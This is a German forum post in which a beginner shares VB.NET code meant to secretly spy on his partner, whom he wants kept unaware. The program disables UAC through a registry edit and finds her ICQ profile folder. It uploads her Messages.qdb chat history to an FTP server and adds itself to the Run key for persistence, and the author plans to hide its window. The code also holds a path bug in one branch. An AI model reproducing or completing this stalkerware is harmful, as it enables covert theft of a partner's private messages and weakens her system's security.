Hab mich jetz mal ans ganze Projekt gesetzt und mal den Anfang etwas gewagt,
Steinigt mich nicht gleich, ich bin was vb .net angeht etwas frisch
Hier wär mal der bisherige Code:
Und wenn ich jetzt die Form noch "unsichtbar" oder etwas in der Art mache, müsste es doch klappen, oder?
Ich möchte nicht, dass meine Alte dann was mitbekommt
Normal sollte es so durchlaufen,
Beim Formload, schaltet er die uac per Batch aus
Danach testet es erstmal die paar Pfäde von den Windowsversionen durch, ermittelt dann den eingeloggten Benutzernamen,
liest den icq Ordner aus und das Unterverzeichnis das Zahlen enthält soll er dann öffnen, danach nimmt er nur noch die Message datei und läd se hoch
und sollte noch n autostart anlegen, wobei ich mir da nich so ganz sicher bin :O
Code:
Imports System.IO
Imports System
Public Class Form1
Dim Benutzername As String
Dim icq_nr As String
Dim Pfad As String
Dim Datei As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'UAC abschalten
Dim p As New Process
p.StartInfo.UseShellExecute = True
Process.Start("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
p.WaitForExit()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'Aktueller Benutzer
Benutzername = Environment.UserName
'Hochzladende Datei aus dem Verzeichnis
Datei = "Messages.qdb"
''''''''''''''''''''
'' Pfad ermitteln ''
''''''''''''''''''''
'Pfad ermitteln
If My.Computer.FileSystem.DirectoryExists("C:\") Then
'Win XP Deutsch
If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\") Then
Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\" & icq_nr
End If
'Win XP Englisch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\") Then
Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\" & icq_nr
End If
'Win Vista + 7 Deutsch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Benutzer\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
End If
'Win Vista + 7 Englisch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Users\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
End If
End If
End If
'''''''''''''
'' UPLOAD ''
'''''''''''''
' lokales Verzeichnis, in dem sich die Datei befindet,
' die hochgeladen werden soll
Dim sLocalPath As String = Pfad & "\"
Dim sLocalFile As String = Datei
' FTP-Server
Dim sFTPHost As String = "ftp://webspace.de/"
' Benutzername und Kennwort für den Server-Zugriff
Dim sUserName As String = "Benutzername"
Dim sPassword As String = "Passwort"
' Datei wie UploadFile-Methode hochladen
My.Computer.Network.UploadFile(sLocalPath & sLocalFile, sFTPHost & My.Computer.Clock.LocalTime.DayOfWeek & "_" & sLocalFile, sUserName, sPassword, True, 500, FileIO.UICancelOption.DoNothing)
'Autorun
AddToAutorun()
End Sub
Function icq_nr_get(ByVal Benutzername)
If My.Computer.FileSystem.DirectoryExists(Pfad) Then
Dim di As New DirectoryInfo(Pfad)
Dim diArr As DirectoryInfo() = di.GetDirectories()
Dim dri As DirectoryInfo
For Each dri In diArr
If dri.Name.Contains("1") Or dri.Name.Contains("2") Or dri.Name.Contains("3") Or dri.Name.Contains("4") Or dri.Name.Contains("5") Or dri.Name.Contains("6") Or dri.Name.Contains("7") Or dri.Name.Contains("8") Or dri.Name.Contains("9") Then
icq_nr = dri.Name
End If
Next dri
End If
End Function
Public Shared Sub AddToAutorun()
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
End Sub
End Class